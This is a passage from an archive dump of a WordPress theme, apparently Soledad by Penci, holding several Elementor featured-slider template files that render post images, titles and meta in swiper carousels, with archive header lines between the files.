								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 7 == 1 || $i % 7 == 2 ): ?>
									<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php
											if ( $show_viewscount ) {
												echo '<span class="feat-countviews">';
												echo penci_get_post_views( get_the_ID() );
												echo ' ' . penci_get_setting( 'penci_trans_countviews' );
												echo '</span>';
											}
											?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
												'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
												'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
												'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
												'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 7 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\dHh  h  A  inc/elementor/modules/penci-featured-sliders/widgets/style-37.phpnu [        <?php
/**
 * Template part for Slider Style 37
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i     = 1;
	$num_posts   = $feat_query->post_count;
	$number_last = $num_posts - 1;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		$thumb = $bpost_thumb_size;
		if ( $i == $number_last || $i == $num_posts ): $thumb = $post_thumb_size; endif;

			$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

		?>
        <div class="item swiper-slide">
            <div class="penci-item-mag penci-item-<?php if ( $i != $number_last && $i != $num_posts ) {
				echo '1';
			} else {
				echo '2';
			} ?>  <?php echo( ( $i == $number_last || $i == $num_posts ) ? 'penci-pitem-small' : 'penci-pitem-big' ) ?>">
	            <?php do_action( 'penci_bookmark_post' ); ?>
				<?php if ( ! $disable_lazyload ) { ?>
                    <a class="penci-image-holder penci-lazy"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$thumb_mobile ); ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
				<?php } else { ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
				<?php } ?>
                <div class="penci-slide-overlay penci-slider6-overlay penci-slider37-overlay">
                    <a class="overlay-link"
                       aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                       href="<?php the_permalink(); ?>"></a>
					<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                        <a href="<?php the_permalink(); ?>"
                           class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
							<?php if ( has_post_format( 'video' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-play' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'audio' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-music' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'link' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-link' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'quote' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'gallery' ) ) : ?>
								<?php penci_fawesome_icon( 'far fa-image' ); ?>
							<?php endif; ?>
                        </a>
					<?php endif; ?>
                    <div class="penci-mag-featured-content">
                        <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
							<?php if ( ( $i != $number_last && $i != $num_posts ) || $show_cat ): ?>
								<?php if ( ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
							<?php endif; ?>
                            <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                   href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                            </h3>
							<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                <div class="feat-meta">
									<?php if ( $show_meta_author ): ?>
                                        <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $meta_date_hide ): ?>
                                        <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( ! $hide_meta_comment ): ?>
                                        <span class="feat-comments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php
									if ( $show_viewscount ) {
										echo '<span class="feat-countviews">';
										echo penci_get_post_views( get_the_ID() );
										echo ' ' . penci_get_setting( 'penci_trans_countviews' );
										echo '</span>';
									}
									?>
	                                <?php echo penci_show_custom_meta_fields( [
		                                'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                ] ); ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </div>
            </div>

        </div>

		<?php if ( $i == ( $num_posts - 2 ) || $num_posts < 3 ): echo '</div></div></div><div class="penci-featured-items-right">'; endif; ?>

		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>

<?php endif; ?>
PK     N\CB.A  A  A  inc/elementor/modules/penci-featured-sliders/widgets/style-18.phpnu [        <?php
/**
 * Template part for Slider Style 17
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$sizep = 'small';
				if ( $i % 5 == 3 ): $thumb = $bpost_thumb_size;
					$sizep                 = 'normal';endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>

				<?php if ( $i % 5 == 1 ): ?>
                    <div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 5 == 3 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 3 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 5 == 3 ): ?>
									<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php
											if ( $show_viewscount ) {
												echo '<span class="feat-countviews">';
												echo penci_get_post_views( get_the_ID() );
												echo ' ' . penci_get_setting( 'penci_trans_countviews' );
												echo '</span>';
											}
											?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
												'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
												'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
												'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
												'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 2 || $i % 5 == 3 ): ?>
                    </div><div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php if ( $i == $num_posts ): ?>
                    </div>
				<?php endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\mC    @  inc/elementor/modules/penci-featured-sliders/widgets/style-4.phpnu [        <?php
/**
 * Template part for Slider Style 4
 */

$post_thumb_size = $post_thumb_size ? $post_thumb_size : 'penci-magazine-slider';
$penci_is_mobile = penci_is_mobile();

$post_thumb_size_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! $disable_lazyload ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size,$post_thumb_size_mobile ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_size_mobile : $post_thumb_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>
        <div class="penci-slider4-overlay">
            <a class="overlay-link"
               aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
               href="<?php the_permalink(); ?>"></a>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                        <div class="feat-meta">
							<?php if ( $show_meta_author ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! $meta_date_hide ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! $hide_meta_comment ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( $show_viewscount ) {
								echo '<span class="feat-countviews">';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
	                        <?php echo penci_show_custom_meta_fields( [
		                        'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                        'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                        'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                        'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                        'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                        ] ); ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\*      @  inc/elementor/modules/penci-featured-sliders/widgets/style-6.phpnu [        <?php
/**
 * Template part for Slider Style 6
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 3 == 1 ): $thumb = $bpost_thumb_size; endif;

					$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?> <?php echo( 1 == $i % 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
                    <?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb,$thumb_mobile); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 1 || $show_cat ): ?>
									<?php if ( ! $hide_categories ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\ i"B`  `  A  inc/elementor/modules/penci-featured-sliders/widgets/style-44.phpnu [        <?php
/**
 * Template part for Slider Style 44
 */
$image_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_attr = '';
$data_attr .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
$data_attr .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
$data_attr .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
$data_attr .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
?>
<div class="penci-slider44-wrapper">
    <div class="penci-slider44-thumb-wrapper">
        <div class="penci-slider44-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="4"
             data-direction="vertical" data-desktop="4" data-tablet="2" data-mobile="2" data-margin="15"
             data-id="<?php echo $thumb_id; ?>"
             <?php echo $data_attr; ?>
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false">
            <div class="penci-slider44-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                        <div class="penci-slider44-t-item">

                            <div class="pcslider-44-img">
                                <div class="penci-image-holder"
                                     style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                                     href="<?php the_permalink(); ?>"
                                     title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                            </div>
                            <div class="pcslider-44-ct">
                                <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                            </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider44-main-wrapper">
        <div class="penci-slider44-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-direction="vertical"
             data-id="<?php echo $main_id; ?>" <?php echo $data_attr; ?>>
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider44-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! $center_box ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
										<?php if ( ! $hide_categories && $show_cat ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                                    <div class="featured-slider-excerpt">
														<?php
														if ( get_theme_mod( 'penci_excerptcharac' ) ) {
															the_excerpt();
														} else {
